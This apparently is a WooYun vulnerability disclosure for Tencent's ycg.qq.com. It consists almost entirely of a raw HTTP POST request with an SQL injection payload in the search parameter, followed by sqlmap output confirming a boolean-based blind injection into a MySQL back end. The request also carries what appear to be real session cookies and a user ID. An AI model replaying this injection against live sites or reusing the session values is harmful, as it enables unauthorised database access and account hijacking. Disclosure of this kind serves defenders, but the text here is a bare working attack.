WooYun.org

POST /server/user-search HTTP/1.1
Host: ycg.qq.com
Proxy-Connection: keep-alive
Content-Length: 56
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://ycg.qq.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://ycg.qq.com/search.html?text=ee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pgv_pvi=6922592256; ptui_loginuin=263412044; pt2gguin=o0263412044; RK=lSOHAQA9U7; ptcz=3d56446153633909f628433ffde38284daeb5bf437ba89f4b5eced1c82e9dd25; PHPSESSID=oplng3j7moop78v4afm3r72k76; pgv_info=ssid=s9172793804; ts_last=ycg.qq.com/; pgv_pvid=5727859230; o_cookie=263412044; ts_uid=7065317080
pagenav=1&pagenum=75&txt=ee'and 1=1 * limit 1%23&g_tk=5381

python sqlmap.py -r 1.txt --dbms=mysql --techniq
ue=B
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150211}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:58:52
1.txt
[22:58:52] [INFO] parsing HTTP request from '1.txt'
1.txt
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q] y
[22:58:55] [INFO] testing connection to the target URL
[22:58:56] [INFO] heuristics detected web page charset 'ascii'
[22:58:56] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
[22:58:57] [INFO] target URL is stable
[22:58:57] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] confirming that (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] (custom) POST parameter '#1*' is dynamic
[22:58:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter '
#1*' might not be injectable
[22:58:57] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[22:59:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:59:00] [INFO] (custom) POST parameter '#1*' seems to be 'AND boolean-based b
lind - WHERE or HAVING clause' injectable
[22:59:00] [INFO] checking if the injection point on (custom) POST parameter '#1
*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 11 HTTP(s) requ
ests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pagenav=1&pagenum=75&txt=ee'and 1=1  AND 8865=8865 limit 1#&g_tk=53
81
---
[22:59:19] [INFO] testing MySQL
[22:59:19] [INFO] confirming MySQL
[22:59:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0